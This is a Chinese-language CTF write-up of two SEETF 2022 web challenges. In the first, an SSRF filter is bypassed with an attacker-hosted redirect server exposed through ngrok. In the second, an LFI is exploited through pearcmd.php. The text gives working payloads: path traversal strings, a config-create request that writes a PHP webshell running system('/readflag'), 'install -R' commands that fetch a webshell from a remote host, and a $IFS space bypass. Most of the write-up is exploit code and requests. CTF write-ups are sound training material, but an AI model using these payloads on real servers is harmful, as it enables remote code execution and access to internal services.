2022SEETF

2022SEETF

Super Secure Requests Forwarder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, render_template
import os
import advocate
import requests

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def index():

if request.method == 'POST':
url = request.form['url']

# Prevent SSRF
try:
advocate.get(url)

except:
return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")

r = requests.get(url)
return render_template('index.html', result=r.text)

return render_template('index.html')


@app.route('/flag')
def flag():
if request.remote_addr == '127.0.0.1':
return render_template('flag.html', FLAG=os.environ.get("FLAG"))

else:
return render_template('forbidden.html'), 403


if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, threaded=True)

在这里存在advocate对ssrf进行防御,需要本地的请求才能访问flag,但是在第二次的url请求中不会进行任何的防御手段,那么就可以对其传入一个不是ssrf的请求,绕过第一次的url请求,但是在第二次的请求中进行ssrf攻击

可以在本地开启一个python服务,在第一次申请的时候返回字符串,在第二次申请的时候返回重定向进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, redirect

app = Flask(__name__)

i = 0

@app.route('/')
def index():
global i

if i == 0:
i += 1
return 'No'

else:
return redirect('http://127.0.0.1/flag')


if __name__ == '__main__':
app.run(host="0.0.0.0", port=1337, threaded=True)

补充知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, redirect, url_for

app = Flask(__name__)


@app.route("/index_1")
def index_1():
# 重定向到视图函数路径
return redirect("t")


@app.route("/index_2")
def index_2():
# url_for构建指定函数的URL,操作对象是函数,不是route里的路径,即得到函数的路由地址
return redirect(url_for("test"))


@app.route("/index_3")
def index_3():
# 重定向到完整链接
return redirect("http://127.0.0.1:5000/t")


@app.route("/t")
def test():
print("test")
return "test"


if __name__ == '__main__':
app.run(host="127.0.0.1", port=5000)

然后使用ngrok进行内网穿透,当然也可以用一台vps挂载服务到公网上

1
./ngrok http 1337

最后就可以返回最终的结果了

Sourceless Guessy Web

1
2
3
4
5
6
7
8
9
10
11
//通过本地直接写入webshell,注意这里最好抓包然后用burpsuite或者直接curl执行,否则浏览器会将< ? > 转义
// config-create可以直接创建配置文件,且第一个参数必须以/开头
http://ip:port/include.php?f=pearcmd&+config-create+/<?=phpinfo();?>+/tmp/evil.php
// 通过远程直接下载webshell
// web目录可写
- http://ip:port/include.php?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php
- http://ip:port/tmp/pear/download/evil.php
// tmp目录可写
- http://ip:port/include.php?f=pearcmd&+install+-R+/tmp+http://ip:port/evil.php
- http://ip:port/include.php?f=/tmp/pear/download/evil

找到pear.php的路径,然后写文件

1
/?page=../../../../../../../../usr/local/lib/php/pearcmd.php&+config-create+/<?=system('/readflag');?>+/tmp/evil.php

最后访问文件即可

1
/?page=../../../../../../../../tmp/evil.php

中间若是黑盒测试,使用$IFS绕过空格即可(ls$IFS/),可以得到根目录下的readflag